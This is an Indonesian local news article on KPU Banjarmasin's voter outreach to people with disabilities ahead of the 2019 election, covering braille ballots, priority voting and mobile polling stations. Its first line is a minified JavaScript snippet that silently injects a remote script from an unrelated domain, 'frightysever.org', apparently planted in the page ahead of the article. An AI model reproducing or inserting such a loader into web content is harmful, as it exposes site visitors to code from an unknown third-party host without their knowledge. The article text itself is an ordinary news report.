(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, KPU Banjarmasin menggelar sosialisasi pemilu kepada kaum disabilitas, Selasa (30/10). Kegiatan ini dimaksudkan untuk meningkatkan persentase partisipasi mereka pada pemilu 2019 nanti. Beberapa hal yang disampaikan terkait kartu pemilih, TPS, hingga money politics.
Upaya ini menjawab masih kurangnya sosialisasi terhadap disabilitas mengenai pesta demokrasi yang menjadi hak setiap warga negara. Termasuk akses bagi disabilitas saat di TPS dalam menunaikan hak pilihnya nanti.
Penyandang tunarungu misalnya yang paling banyak mengalami kesulitan dalam hal memahami apa yang disampaikan para calon legislatif kepada mereka. Lain halnya kaum tunanetra, pada pemilu sebelumnya mereka merasa sangat kesusahan dalam proses pencoblosan karena tidak adanya surat suara yang menggunakan huruf braile.
Termasuk kesadaran mendahulukan disabilitas saat di TPS. Mengingat sudah ada aturan yang mengharuskan disabilitas dan lansia didahulukan pada proses pencoblosan.
Ketua Divisi Kampanye KPU Banjarmasin M Syarifudin Akbar mengatakan, surat suara dengan huruf braile dan pendahuluan bagi kamu disabilitas dan lansia memang benar adanya. Ia sendiri mengatakan bahwa hal ini bisa terjadi adalah karena kurangnya sosialisasi terhadap KPPS. Dengan adanya hal ini, Akbar merasa sangat terbantu adanya masukan disabilitas.
“Sementara ini kita akan mempersiapkan beberapa akses agar kaum disabilitas bisa mengakses dengan nyaman pada saat pencoblosan. Saat KPPS terbentuk nanti akan kami adakan semacam bimbingan teknis mengenai pelaksanaan pemilu dan juga menerapkan masukan dari teman-teman disabilitas,†jelasnya.
KPU Banjarmasin juga tidak lupa mempersipakan TPS keliling untuk kaum disabilitas atau orang sakit yang tidak bisa keluar rumah. “Kalau memang mereka tidak mampu lagi untuk datang, itu (TPS keliling) juga akan diberlakukan. TPS keliling juga menjadi prioritas kita untuk meningkatkan perentase masyrakat yang ikut mencoblos,†ungkapnya.
Prosesnya nanti, warga harus melapor dulu ke pihak KPPS. Baru nanti pihak KPPS dituntunjukan salah satu wakilnya untuk mendatangi warga yang memerlukan TPS keliling.
Sementara Sekretaris Perkumpulan Penyandang Disabilitas Kota Banjarmasin, Ahmad Rida mengaku sangat terbantu dengan adanya sosialisasi ini. Ia yang tergabung dalam kelompok kaum disabilitas yang beranggotakan 700 orang ini mengatakan, berpartisipasi dalam pemilu bukan menjadi halangan.
Ia membagikan pengalaman, pada pemilu sebelumnya TPS tempat ia melakukan pemilihan terlalu tinggi dan terjal. Dari sini juga ia berharap agar KPU tidak menyulitkan kaum disabilitas nanti pada saat pencoblosan. Pada pemilu 2019 nanti ia berharap banyak agar kaum disabilitas bisa mendapat kenyamanan layak. “Karena mereka tidak ingin ada kesulitan untuk berkontribusi memberikan suara untuk negara,†ungkapnya. (mario)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.